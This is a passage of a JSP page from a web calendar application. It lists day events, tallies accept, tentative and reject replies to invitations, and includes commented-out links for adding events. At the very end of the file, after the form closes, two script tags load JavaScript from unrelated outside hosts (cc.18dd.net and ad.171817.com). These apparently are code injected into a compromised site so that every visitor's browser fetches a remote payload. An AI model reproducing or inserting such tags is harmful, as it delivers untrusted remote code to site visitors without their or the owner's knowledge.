         <a  title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>&listName=eventLis&tselectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>'><font style='color:<%= calendarClass %>'><html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="<%=limitLength%>" /></font></a>
<%      }%>
<%      //check for invite status   %>
<%      updateAlertList = (ArrayList)updateAlertDAO.getByObjectTypeObjectIDAndActionType(UpdateAlert.CALENDAR_TYPE, calendar.getID(), UpdateAlert.INVITE_ACTION);

        if (updateAlertList.size()>0)  {
          UpdateAlert updateAlert = (UpdateAlert)updateAlertList.get(0);
          UpdateAlertSystemLogDAObject alertSystemLogDAO = new UpdateAlertSystemLogDAObject(sessionContainer, conn);
          List validUpdateAlertID = new ArrayList(1);
          validUpdateAlertID.add(updateAlert.getID());

          List systemLogList = alertSystemLogDAO.getSystemLogList(validUpdateAlertID);

          int ttlReplyOnAccept = 0;
          int ttlReplyOnTentative =  0;
          int ttlReplyOnReject = 0;

          if (systemLogList!=null) {
            for (int k=0; k<systemLogList.size(); k++) {
              UpdateAlertSystemLog alertSystemLog = (UpdateAlertSystemLog)systemLogList.get(k);
              List replyOnAcceptAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.ACCEPT_ON_REPLY);
              if (replyOnAcceptAry!=null){
                ttlReplyOnAccept = replyOnAcceptAry.size();
              }
              List replyOnTentativeAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.TENTATIVE_ON_REPLY);
              if (replyOnTentativeAry!=null){
                ttlReplyOnTentative = replyOnTentativeAry.size();
              }
              List replyOnRejectAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(alertSystemLog, UpdateAlert.REJECT_ON_REPLY);
              if (replyOnRejectAry!=null){
                ttlReplyOnReject = replyOnRejectAry.size();
              }
            }   
%>
            <b><html:img src='IconAccept.gif' /><%=ttlReplyOnAccept%> <html:img src='IconTentative.gif' /><%=ttlReplyOnTentative%> <html:img src='IconReject.gif' /> <%=ttlReplyOnReject%> </b>

<%      }//end if systemLogList != null
      }//end if (updateAlertList.size()>0)
    }else if((((startDateFromRec.equals(selectedDate) && currentHr<i) || (endDateFromRec.equals(selectedDate) && i<currentEndHr)) && !startDateFromRec.equals(endDateFromRec)) || (startDateFromRec.equals(endDateFromRec) && currentHr<i && i<currentEndHr)){
%>
  <td>
      <html:img src='IconTimeBar.gif'  width='20' height = '50'/>
      </nobr>
  </td>    
<%
    }  
%>
  </tr></table>
<% 
  }//end if show calender
}
}           
%>

   </td>
   <!--
    <td width="40" align='left' class="greyD" valign='top' ><span class='bodyVerySmall' ><nobr>
      <logic:permission right="I">
        <a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_EVENT%>&navMode=N&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&selectedHr=<%=i%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>'>+<bean:message key='calendar.label.event_calendar_event'/></a></nobr><br><nobr><a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_MEETING%>&navMode=N&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&selectedHr=<%=i%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_DAY%>'>+<bean:message key='calendar.label.event_calendar_meeting'/></a></nobr><br>
        <font color="gray">+<bean:message key='calendar.label.event_calendar_event'/><br>+<bean:message key='calendar.label.event_calendar_meeting'/></font>
      </logic:permission>
    </td>
    -->
  </tr>
<%  }               %>
</table>
</layout:tabContainer>
</div>
</html:form>
<%}catch(ServletException e){
  LogFactory.getLog(this.getClass()).error(e, e);
  }%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>